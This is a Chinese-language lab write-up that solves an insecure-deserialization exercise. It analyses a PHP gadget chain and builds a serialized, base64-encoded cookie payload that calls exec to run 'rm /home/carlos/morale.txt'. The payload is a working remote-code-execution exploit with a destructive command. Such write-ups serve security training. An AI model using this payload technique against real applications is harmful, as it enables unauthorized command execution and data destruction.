# Insecure deserialization Lab9 本題是使用基於序列化的會話機制,通過部署自定義小工具鏈,您可以利用其不安全的反序列化來實現遠端代碼執行。要解決實驗室問題,請從 Carlos 的主目錄中刪除 morale.txt。 使用以下認證登錄自己的帳戶:`wiener:peter` 一樣進入網站並登入,並且一樣也是 b64 編碼。 ![image](https://hackmd.io/_uploads/HkbgbxnDxx.png) ![image](https://hackmd.io/_uploads/S1Mb-lnPlg.png) 所以去看他 php 檔有沒有寫什麼。 ![image](https://hackmd.io/_uploads/ryc5Zx3vxe.png) ```php class CustomTemplate { private $default_desc_type; private $desc; public $product; public function __wakeup() { $this->build_product(); } private function build_product() { $this->product = new Product($this->default_desc_type, $this->desc); } } class Product { public $desc; public function __construct($default_desc_type, $desc) { $this->desc = $desc->$default_desc_type; } } class DefaultMap { private $callback; public function __construct($callback) { $this->callback = $callback; } public function __get($name) { return call_user_func($this->callback, $name); } } ``` 一步步拆解程式碼: ① 反序列化進入點:`CustomTemplate->__wakeup()` ```php public function __wakeup() { $this->build_product(); } ``` 會呼叫: ```php $this->product = new Product($this->default_desc_type, $this->desc); ``` ② Product 的建構: ```php public function __construct($default_desc_type, $desc) { $this->desc = $desc->$default_desc_type; } ``` 意思是說他會存取 `$desc->$default_desc_type` → 所以會觸發 `__get()` ③ 如果 `$desc` 是 DefaultMap,就會觸發: ```php public function __get($name) { return call_user_func($this->callback, $name); } ``` 所以如果: ```php $desc = DefaultMap $default_desc_type = "rm /home/carlos/morale.txt" $callback = "exec" ``` 那就會執行: ```php call_user_func("exec", "rm /home/carlos/morale.txt"); ``` 就是我們要的命令注入。 簡單來說,利用 CustomTemplate 反序列化時會觸發 Product 建構子對 DefaultMap 屬性做動態存取,進而觸發 `__get()` 裡的 `call_user_func()`,讓我們能用 `exec()` 執行任意指令達成 RCE。 所以這裡我們轉成 JS 格式拿去做 b64 encode。 ``` O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}} ``` ``` TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTc6ImRlZmF1bHRfZGVzY190eXBlIjtzOjI2OiJybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo0OiJkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjg6ImNhbGxiYWNrIjtzOjQ6ImV4ZWMiO319 ``` ![image](https://hackmd.io/_uploads/rJ5PQl3vxx.png) 丟到 Cookie 裡。 ![image](https://hackmd.io/_uploads/BJKtQe2vlg.png)